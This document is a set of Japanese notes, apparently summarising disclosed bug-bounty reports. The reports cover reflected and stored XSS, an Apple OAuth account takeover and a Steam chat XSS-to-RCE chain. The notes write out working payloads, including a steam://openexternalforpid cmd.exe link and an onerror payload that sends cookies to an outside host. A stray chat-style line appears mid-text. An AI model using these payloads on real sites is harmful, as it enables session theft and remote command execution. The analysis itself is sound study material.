このXSSは、utm_source
パラメータの入力がJavaScriptの文脈で直接使用されていたことで発生した反射型の脆弱性。入力値が適切にエスケープされておらず、悪意ある入力によりスクリプトを挿入・実行できた。
utm_source=abc%60%3breturn+false%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e
これは URLデコードすると次のようになる:
abc`; return false }); }); alert`xss`; </script>
広告パラメータを直接読み出しており、サニタイズをしていなかったと想定される。 広告パラメータで処理を変えたい意図があったと思われる。
<script>
var source = "<?= $_GET['utm_source'] ?>";
</script>
このXSSは、Markdown中のリンク記法を利用して .alert(1);
のような相対パスが、GitLab独自のWikiリンク処理によりjavascript:alert(1); に変換されてしまうことで発生した。生成されたHTMLが<a href="javascript:alert(1);">
となり、ユーザーがそのリンクをクリックするとスクリプトが実行される。
[XSS](.alert(1);)
変換後:
<a href="javascript:alert(1);">XSS</a>
MarkdownをHTMLに変換した後に、以下のようなWiki専用のパス再構成処理を行っていた:
# lib/banzai/filter/wiki_link_filter/rewriter.rb
def apply_hierarchical_link_rules!
@uri = Addressable::URI.join(@slug, @uri) if @uri.to_s[0] == '.'
end
この処理によって .alert(1);
のような相対パスが javascript:alert(1);
として扱われるようになってしまった。
プロフィール作成画面において、HTMLタグの<
および>
はフィルタリングされていたが、攻撃者はHTMLエンティティを使ってバイパスし、スクリプトを埋め込むことに成功していた。これは、前に報告された同種の問題が修正された後にも別のバイパス手法で再現可能だった。
"/> <script>alert(1)</script>
<
や >
で <
と >
をエンコードすることでフィルタを回避し、XSSを成立させていた。
<
や>
を直接フィルタリングしていたが、エンティティ形式(<
,>
)を考慮していなかった- HTML属性(例:
alt
,title
)内に閉じタグ("/>
)を注入できてしまい、属性を閉じてscriptを挿入可能だった - 前回の修正は部分的で、エスケープ対象の網羅性が不足していた
- 結果として、ユーザーが攻撃者のページを訪問するだけでスクリプトが実行される状態だった
この攻撃は、OAuthのresponse_mode=fragment
と、window.name
を使った意図しない情報伝播を悪用して、Apple ID連携を通じたアカウント乗っ取りを成立させるもの。攻撃者はOAuthのstate
パラメータを事前に用意し、被害者のAppleログイン後に発行されるcode
やid_token
などのトークンを自身のブラウザで取得できるように設計された。
- 攻撃者は自身のブラウザでAppleログインを開始し、
state
を取得して保存 - 被害者に渡す攻撃用ページを生成し、iframeでサンドボックスドメインを読み込ませる
- iframe内のスクリプトは、改変されたOAuth URL(
response_mode=fragment
,response_type=code+id_token
)を使ってAppleログインを誘導 - Appleログイン完了後、メインウィンドウのURLが
#code=...&state=...&id_token=...
のようになる - iframeは同一オリジンであるため、親フレームの
window.name
に格納されたURLフラグメント(#以下)を参照可能 postMessage
を利用して親ウィンドウにトークンを送信し、攻撃者が取得
-
脆弱な構成:
- Apple OAuthで
response_mode=fragment
が許可されていた window.name
を使ってURL情報(検索パラメータおよびフラグメント)を別ドメインへ伝搬していた- Aドメインが任意のGoogle Tag Manager (GTM-ID) を読み込むことが可能だった(攻撃者のスクリプトが実行可能)
- AドメインとBドメインが同一オリジンと誤解される形で共通のiframeドメインを使っていた
- Apple OAuthで
-
攻撃者は iframe の
frames[0].window.name
にフラグメントを含むURLを持たせて情報を取得し、ログ用の外部ドメインへ送信していた
response_mode=fragment
の利用時に、トークンがURLに露出する設計でありながら、外部からの読み取りを防止する措置がなかった- サンドボックス的に使っていたドメインが任意のGTM-IDを許可していたため、攻撃者のJavaScriptが実行可能だった
window.name
を機密情報の伝達に使っていた設計自体が脆弱- Aドメインにおけるiframeのロード元が、同一ドメインでiframe間のアクセスが可能となっていた
- チャットクライアントはReactで構築され、セキュリティ意識は高いが、BBCodeパーサやOEMBEDなど埋め込み機能により、攻撃対象領域が広がっていた。
steam://
プロトコルはカスタムクライアントで確認画面なしに実行されるため、特権コマンドが通る。steam://openexternalforpid/10400/cmd.exe
形式で任意コマンドを実行可能。
- React製アプリながら、BBCodeベースのチャット表現を使っており、
[url=javascript:...]
によるXSSが可能だった。 - WebSocket通信はバイナリ形式で観測が難しく、XSSはチャット送信後にクライアントがローカルでDOMに挿入していた(即時反映時にXSS)。
OEMBED
タグによるiframe埋め込みが可能で、CodePen.ioのようなJS実行可能なサービスがホワイトリストに含まれていた。- CodePen経由でiframe内部でコード実行でき、さらに
steam://
URI を生成可能。
[url=steam://openexternalforpid/10400/file:///C:/Windows/cmd.exe]Click me[/url]
のようなリンクを送信すると、相手のクライアントで即座にコマンド実行可能。- 特定のプロトコル(例:jarfile:)では、ローカルファイルを実行することも可能だった。
- 結果として、**XSSからのRCE(Remote Code Execution)**に繋がる深刻な脆弱性。
- チャット中のBBCode
[url]
にsteam://
やjavascript:
を許可していた。 - OEMBED機能で信頼できないドメインのiframe埋め込みを許可していた。
- WebViewコンテキストの権限が広く、
steam://
URI の確認なし自動実行を許容していた。 openexternalforpid
という隠し機能が任意実行に利用できていた。
jarfile:
やcalculator:
などの他プロトコルも調査。steam://openexternalforpid/10400/cmd.exe
でPoC成功。
あるパラメータが適切にサニタイズされておらず、JavaScriptの文脈で反映されていたことで反射型XSSが成立していた。同時に、外部からのPOSTリクエストでパスワード設定を変更可能なエンドポイントが存在しており、CSRFに対して無防備だった。
これら2つの脆弱性を組み合わせることで、攻撃者はワンクリックでアカウントの乗っ取りが可能だった。
- 反射型XSSが発生するURLパラメータに悪意あるJavaScriptを注入(payload内でCSRFリクエストを送信)
- 被害者がこのリンクをクリックすると、JavaScriptが自動実行され、CSRFリクエストによりパスワードが攻撃者の指定したものに変更される
- ユーザー入力のURLパラメータをエスケープせずHTMLに反映していた
- CSRF保護(トークン確認やOrigin/Refererチェック)がされていなかった
- サードパーティログインユーザーに対しても、追加認証なしにパスワード設定が可能だった 了解。以下はそのままMarkdownとしてコピペできる形式よ:
このXSSは、location.hash
に含まれる cvo_sid1
パラメータが live.js
によりそのまま convertro スクリプトへ渡される設計だったことで発生した。convertro 側ではある程度のサニタイズがされていたが、cvo_sid1
の値に typ
パラメータを擬似的に埋め込むことで レスポンスに任意の JavaScript を混入可能となっていた。
#?cvo_sid1=111\u0026;typ=55577]")%3balert(document.cookie)%3b//
このような URL によって、レスポンスに以下のようなコードを注入できた:
");alert(document.cookie);//
cvo_sid1
パラメータ内に\u0026;typ=
を含めることで、別パラメータの注入が可能だった- クライアント側で
location.hash
を適切にサニタイズしないままスクリプトに渡していた - convertro の返すレスポンスがそのまま JavaScript として扱われ、スクリプトインジェクションが成立
- セミコロン制限を
%3b
によるエンコードで回避できた - ユーザーがこのリンクを踏むだけで、cookie やセッション情報を盗まれる危険があった
このXSSは、サポートチャットに画像を送信する際、ファイル名に悪意のあるスクリプトを含めることで発生する。ファイルアップロード時に、ファイル名がHTMLに挿入される処理においてサニタイズが不十分であり、画像の読み込みエラーイベント(onerror
)を利用したJavaScriptの実行が可能だった。
また、画像をサポートチャットにアップロードすると、その画像がサポートエージェントから他のユーザーへ一斉に送信される仕様により、大規模なXSSが成立する。つまり、一度の攻撃で数千人単位のユーザーにスクリプトが送信される可能性がある。
"><img src=1 onerror="url=String104,116,116,112,...;xhttp= new XMLHttpRequest();xhttp'GET',url,true;xhttp'send';
※onerror
内でCookieなどの情報を外部に送信する。
- ファイルアップロード時のファイル名に対するサニタイズが不十分
- 画像の
onerror
イベントによりJavaScriptが実行可能 - サポートチャットが画像を多数のユーザーに再送信する仕様だったため、XSSが大量拡散する構造的欠陥があった
- エージェント側での送信はユーザーの操作なしで実行されるため、意図せず攻撃が展開される構造になっていた